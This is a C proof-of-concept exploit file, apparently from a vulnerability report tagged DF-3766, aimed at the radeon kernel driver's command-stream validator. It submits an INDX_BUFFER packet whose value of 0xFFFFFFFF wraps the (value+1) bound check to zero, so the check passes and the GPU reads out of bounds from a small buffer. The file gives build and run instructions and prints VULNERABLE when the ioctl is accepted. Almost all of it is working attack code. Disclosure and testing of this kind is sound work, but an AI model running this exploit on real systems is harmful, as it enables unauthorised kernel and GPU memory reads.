DF-3766 / df3766_indx_wrap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* DF-3766 — r100_cs_track_check_pkt3_indx_buffer() offset check * (value + 1) > bo_size wraps at value == 0xFFFFFFFF -> the * INDX_BUFFER bound check passes -> GPU fetches an index dword * at ~4 GB offset from a small BO (GPU OOB read). * * r100.c:1909-1910: * value = radeon_get_ib_value(p, idx + 2); // full u32 from IB * if ((value + 1) > radeon_bo_size(robj)) // 0xFFFFFFFF+1 == 0 * * Build: cc -o df3766 df3766_indx_wrap.c * Run: ./df3766 /dev/dri/renderD128 * Success criterion: CS ioctl returns 0 (validator bypass proven). */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; }; struct rr_cs_reloc { uint32_t handle, read_domains, write_domain, flags; }; struct rr_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct rr_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RR_GEM_CREATE 0x1d #define RR_CS 0x26 #define RR_IOCTL_GEM_CREATE _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */ #define RR_IOCTL_CS _IOWR('d', RR_CS, struct rr_cs) #define RR_CHUNK_ID_RELOCS 0x01 #define RR_CHUNK_ID_IB 0x02 #define RR_CHUNK_ID_FLAGS 0x03 #define RR_GEM_DOMAIN_GTT 0x2 #define PKT3(op, n) ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8)) #define PKT3_NOP 0x10 #define PKT3_INDX_BUFFER 0x33 static int fd; static int gem_create(uint64_t size, uint32_t *handle) { struct rr_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.alignment = 4096; gc.initial_domain = RR_GEM_DOMAIN_GTT; if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) { perror("GEM_CREATE"); return -1; } *handle = gc.handle; return 0; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; struct rr_cs_reloc relocs[1]; struct rr_cs_chunk chunks[3]; uint64_t chunk_ptrs[3]; struct rr_cs cs; uint32_t flags[2] = { 0, 0 }; uint32_t ib[16], ibo, n = 0; fd = open(node, O_RDWR); if (fd < 0) { perror(node); return 1; } if (gem_create(64 * 1024, &ibo)) return 1; memset(relocs, 0, sizeof(relocs)); relocs[0].handle = ibo; relocs[0].read_domains = RR_GEM_DOMAIN_GTT; memset(ib, 0, sizeof(ib)); /* PACKET3 INDX_BUFFER: [hdr][type][addr][value]; value=0xFFFFFFFF */ ib[n++] = PKT3(PKT3_INDX_BUFFER, 3); ib[n++] = 0; /* hw format dword */ ib[n++] = 0; /* addr, relocated below */ ib[n++] = 0xFFFFFFFF; /* value: (value+1) wraps to 0 -> check passes */ ib[n++] = PKT3(PKT3_NOP, 1); ib[n++] = 0; /* reloc dword index 0 -> relocs[0] */ memset(chunks, 0, sizeof(chunks)); chunks[0].chunk_id = RR_CHUNK_ID_IB; chunks[0].length_dw = n; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RR_CHUNK_ID_RELOCS; chunks[1].length_dw = 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunks[2].chunk_id = RR_CHUNK_ID_FLAGS; chunks[2].length_dw = 2; chunks[2].chunk_data = (uint64_t)(uintptr_t)flags; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 3; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; if (ioctl(fd, RR_IOCTL_CS, &cs) == 0) printf("VULNERABLE: CS accepted INDX_BUFFER value=0xFFFFFFFF " "vs 64KB BO ((value+1) wrapped to 0)\n"); else printf("rejected: %s\n", strerror(errno)); return 0; } |